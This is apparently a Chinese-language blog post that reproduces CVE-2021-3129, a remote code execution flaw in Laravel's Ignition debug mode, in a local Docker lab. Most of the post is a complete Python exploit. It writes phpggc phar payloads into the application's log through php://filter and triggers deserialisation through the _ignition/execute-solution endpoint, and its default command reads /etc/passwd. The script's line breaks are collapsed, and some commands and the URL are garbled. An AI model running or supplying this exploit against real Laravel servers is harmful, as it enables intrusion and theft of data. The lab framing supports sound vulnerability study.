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声明

好好学习，天天向上

漏洞描述

Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。

Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

影响范围

Laravel <= 8.4.2

Ignition <2.5.2

复现过程

这里使用8.26.1版本

可以使用github大佬的

git clone https://github.com/SNCKER/CVE-2021-3129docker-compose up -d

访问，生成key后自动跳转

http;//192.168.31.139:8888

在下载GitHub上下载的docker环境中带有exp，使用此exp需要下载phpggc，在kali下执行

给phpggc执行权限

git clone https://github.com/ambionics/phpggc.gitchmod 777 phpggc

接着该创建exp了，其实，exp就在搭建环境的docker那个目录下，exp.py，内容如下，自行修改IP

#!/usr/bin/python3import requests as reqimport os, uuidclass Exp:    __gadget_chains = {        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",    }  # phpggc链集合，暂时添加rce1后续再添加其他增强通杀能力    __delimiter_len = 8  # 定界符长度    def __vul_check(self):        resp = req.get(self.__url, verify=False)        if resp.status_code != 405 and "laravel" not in resp.text:            return False        return True    def __payload_send(self, payload):        header = {            "Accept": "application/json"        }        data = {            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",            "parameters": {                "variableName": "cve20213129",                "viewFile": ""            }        }        data["parameters"]["viewFile"] = payload        resp = req.post(self.__url, headers=header, json=data, verify=False)        # print(resp.text)        return resp    def __command_handler(self, command):        """        因为用户命令要注入到payload生成的命令中，为了防止影响结构，所以进行一些处理。        """        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。        # print(delimiter)        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)        # print(command)        escaped_chars = [' ', '&', '|']  # 我只想到这么多，可自行添加。        for c in escaped_chars:            command = command.replace(c, '\\' + c)        # print(command)        return command    def __clear_log(self):        return self.__payload_send(            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")    def __gen_payload(self, gadget_chain):        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)        # print(gen_shell)        os.system(gen_shell)        with open('payload.txt', 'r') as f:            payload = f.read().replace('\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码        os.system("rm payload.txt")        # print(payload)        return payload    def __decode_log(self):        return self.__payload_send(            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")    def __unserialize_log(self):        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")    def __rce(self):        text = self.__unserialize_log().text        # print(text)        echo_find = text.find(self.__delimiter)        # print(echo_find)        if echo_find >= 0:            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]        else:            return "[-] RCE echo is not found."    def exp(self):        for gadget_chain in self.__gadget_chains.keys():            print("[*] Try to use %s for exploitation." % (gadget_chain))            self.__clear_log()            self.__clear_log()            self.__payload_send('a' * 2)            self.__payload_send(self.__gen_payload(gadget_chain))            self.__decode_log()            print("[*] Result:")            print(self.__rce())    def __init__(self, target, command):        self.target = target        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")        self.__command = self.__command_handler(command)        if not self.__vul_check():            print("[-] [%s] is seems not vulnerable." % (self.target))            print("[*] You can also call obj.exp() to force an attack.")        else:            self.exp()def main():    Exp("http://192.168.31.139:8888", "cat /etc/passwd")if __name__ == '__main__':    main()

把exp.py和phpggc文件放到一起，然后执行

python3 exp.py

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose builddocker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down

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